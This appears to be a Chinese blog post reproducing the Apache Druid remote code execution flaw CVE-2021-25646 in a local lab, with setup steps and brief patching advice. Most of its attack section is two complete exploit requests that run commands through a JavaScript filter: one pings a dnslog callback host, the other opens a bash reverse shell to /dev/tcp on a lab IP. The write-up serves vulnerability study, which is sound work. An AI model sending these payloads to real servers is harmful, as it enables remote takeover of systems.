Apache Druid 命令执行漏洞复现（CVE-2021-25646）

小灰灰 2022-10-27 14:56 254阅读 0赞

### 学习笔记下载 ###

https://download.csdn.net/download/qq_41901122/15051281

### 文章目录 ###

*   *   *  学习笔记下载
         *  漏洞编号
         *  漏洞描述
         *  影响版本
         *  环境搭建
         *   *  第一步 安装jdk8环境
             *  第二步 搭建Druid
             *  第三步 访问8888端口
         *  漏洞复现
         *   *  查找漏洞点
             *  方法一：DNS解析
             *  方法二：反弹shell
         *  修复建议
         *  摘抄

### 漏洞编号 ###

*  CVE-2021-25646
 *  发布时间:2021-01-29
 *  漏洞等级：高

### 漏洞描述 ###

*  Apache Druid 是一个分布式的数据处理系统。
 *  Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。
 *  此功能在用于高信任度环境中，默认已被禁用。
 *  在Druid 0.20.0及更低版本中，用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。
 *  攻击者可直接构造恶意请求执行任意代码，控制服务器

### 影响版本 ###

*  Apache Druid < 0.20.1

### 环境搭建 ###

#### 第一步 安装jdk8环境 ####

sudo apt-get update
    sudo apt-get install openjdk-8-jdk
    java -version
    which javac  查看安装位置

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]

#### 第二步 搭建Druid ####

tar-zxvf apache-druid-0.20.0-bin.tar.gz
    cd apache-druid-0.20.0
    cd bin
    ./start-micro-quickstart

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

#### 第三步 访问8888端口 ####

http://192.168.232.183:8888/unified-console.html

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

### 漏洞复现 ###

#### 查找漏洞点 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

#### 方法一：DNS解析 ####

POST /druid/indexer/v1/sampler HTTP/1.1Host: 192.168.232.183:8888
    Content-Length: 1019
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
    Content-Type: application/json;charset=UTF-8
    Origin: http://192.168.232.183:8888
    Referer: http://192.168.232.183:8888/unified-console.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Connection: close
    { "type": "index", "spec": { "ioConfig": { "type": "index", "inputSource": { "type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-14T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": { "type": "json", "keepNullColumns": true}}, "dataSchema": { "dataSource": "sample", "timestampSpec": { "column": "timestamp", "format": "iso"}, "dimensionsSpec": { }, "transformSpec": { "transforms": [], "filter": { "type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping qojh5x.dnslog.cn')}", "": { "enabled": true}}}}, "type": "index", "tuningConfig": { "type": "index"}}, "samplerConfig": { "numRows": 500, "timeoutMs": 15000}}

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]

#### 方法二：反弹shell ####

POST /druid/indexer/v1/sampler HTTP/1.1Host: 192.168.232.183:8888
    Content-Length: 1047
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56
    Content-Type: application/json;charset=UTF-8
    Origin: http://192.168.232.183:8888
    Referer: http://192.168.232.183:8888/unified-console.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Connection: close
    { "type": "index", "spec": { "ioConfig": { "type": "index", "inputSource": { "type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-14T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": { "type": "json", "keepNullColumns": true}}, "dataSchema": { "dataSource": "sample", "timestampSpec": { "column": "timestamp", "format": "iso"}, "dimensionsSpec": { }, "transformSpec": { "transforms": [], "filter": { "type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.232.140/6666 0>&1')}", "": { "enabled": true}}}}, "type": "index", "tuningConfig": { "type": "index"}}, "samplerConfig": { "numRows": 500, "timeoutMs": 15000}}

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]

### 修复建议 ###

*  及时更新Apache Druid
 *  配置访问白名单等控制访问权限。

### 摘抄 ###

**揉碎的星河撒下，化成流星撒向天际，  
我站在满天星光下，许愿:  
不要急，想要的都会在努力下，慢慢来到。**

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20221024/44a9e7d4c5c642a1859a4cca7adf83d5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20221024/02006c78743c40be888c345f179740c8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20221024/587bf5a7ed0e4d87adbe74369d6f5902.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20221024/2d39a54184474622bcc3d5ab8f485599.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: /images/20221024/2ae2986569174605afedc8ff570f5b8f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]: /images/20221024/3f76c37cc72c4d19a47f4eb5552ff562.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]: /images/20221024/fb0ad0c36b5e4b2aac9f51c7b2aff2c2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]: /images/20221024/2c8ce0f5ea5b4199bacd7512d3998eff.png